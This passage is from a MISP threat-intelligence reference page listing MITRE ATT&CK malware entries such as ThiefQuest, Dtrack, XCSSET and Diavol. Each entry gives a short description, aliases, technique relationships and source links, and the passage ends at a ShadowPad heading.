[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)

The tag is: *misp-galaxy:mitre-malware="ThiefQuest - S0595"*

ThiefQuest - S0595 is also known as:

- ThiefQuest
- MacRansom.K
- EvilQuest

View relationships graph

ThiefQuest - S0595 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5691. Table References

Links
https://attack.mitre.org/software/S0595
https://blog.malwarebytes.com/detections/osx-thiefquest/
https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/
https://objective-see.com/blog/blog_0x60.html
https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/

ThreatNeedle - S0665

[ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)

The tag is: *misp-galaxy:mitre-malware="ThreatNeedle - S0665"*

ThreatNeedle - S0665 is also known as:

- ThreatNeedle

View relationships graph

ThreatNeedle - S0665 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5692. Table References

Links
https://attack.mitre.org/software/S0665
https://securelist.com/lazarus-threatneedle/100803/

BLUELIGHT - S0657

[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by

[APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)

The tag is: *misp-galaxy:mitre-malware="BLUELIGHT - S0657"*

BLUELIGHT - S0657 is also known as:

- BLUELIGHT

View relationships graph

BLUELIGHT - S0657 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5693. Table References

Links
https://attack.mitre.org/software/S0657
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/

MegaCortex - S0576

[MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) [MegaCortex](https://attack.mitre.org/software/S0576) has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)

The tag is: *misp-galaxy:mitre-malware="MegaCortex - S0576"*

MegaCortex - S0576 is also known as:

- MegaCortex

View relationships graph

MegaCortex - S0576 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

Table 5694. Table References

Links
https://attack.mitre.org/software/S0576
https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/
https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html

Dtrack - S0567

[Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)

The tag is: *misp-galaxy:mitre-malware="Dtrack - S0567"*

Dtrack - S0567 is also known as:

- Dtrack

View relationships graph

Dtrack - S0567 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5695. Table References

Links
https://attack.mitre.org/software/S0567
https://securelist.com/my-name-is-dtrack/93338/
https://usa.kaspersky.com/about/press-releases/2019_dtrack-previously-unknown-spy-tool-hits-financial-institutions-and-research-centers
https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/
https://www.dragos.com/threat/wassonite/
https://www.zdnet.com/article/confirmed-north-korean-malware-found-on-indian-nuclear-plants-network/

TAINTEDSCRIBE - S0586

[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)

The tag is: *misp-galaxy:mitre-malware="TAINTEDSCRIBE - S0586"*

TAINTEDSCRIBE - S0586 is also known as:

- TAINTEDSCRIBE

View relationships graph

TAINTEDSCRIBE - S0586 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5696. Table References

Links
https://attack.mitre.org/software/S0586
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b

XCSSET - S0658

[XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)

The tag is: *misp-galaxy:mitre-malware="XCSSET - S0658"*

XCSSET - S0658 is also known as:

- XCSSET
- OSX.DubRobber

View relationships graph

XCSSET - S0658 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Plist File Modification - T1647" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5697. Table References

Links
https://attack.mitre.org/software/S0658
https://blog.malwarebytes.com/detections/osx-dubrobber/
https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf

EVILNUM - S0568

[EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)

The tag is: *misp-galaxy:mitre-malware="EVILNUM - S0568"*

EVILNUM - S0568 is also known as:

- EVILNUM

View relationships graph

EVILNUM - S0568 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5698. Table References

Links
https://attack.mitre.org/software/S0568
https://www.prevailion.com/phantom-in-the-command-shell-2/
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

PowerPunch - S0685

[PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)

The tag is: *misp-galaxy:mitre-malware="PowerPunch - S0685"*

PowerPunch - S0685 is also known as:

- PowerPunch

View relationships graph

PowerPunch - S0685 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"

Table 5699. Table References

Links
https://attack.mitre.org/software/S0685
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

Diavol - S0659

[Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. [Diavol](https://attack.mitre.org/software/S0659) has been deployed by [Bazar](https://attack.mitre.org/software/S0534) and is thought to have potential ties to [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)

The tag is: *misp-galaxy:mitre-malware="Diavol - S0659"*

Diavol - S0659 is also known as:

- Diavol

View relationships graph

Diavol - S0659 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5700. Table References

Links
https://attack.mitre.org/software/S0659
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider
https://www.ic3.gov/Media/News/2022/220120.pdf

Explosive - S0569

[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)

The tag is: *misp-galaxy:mitre-malware="Explosive - S0569"*

Explosive - S0569 is also known as:

- Explosive

View relationships graph

Explosive - S0569 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5701. Table References

Links
https://attack.mitre.org/software/S0569
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

ShadowPad - S0596

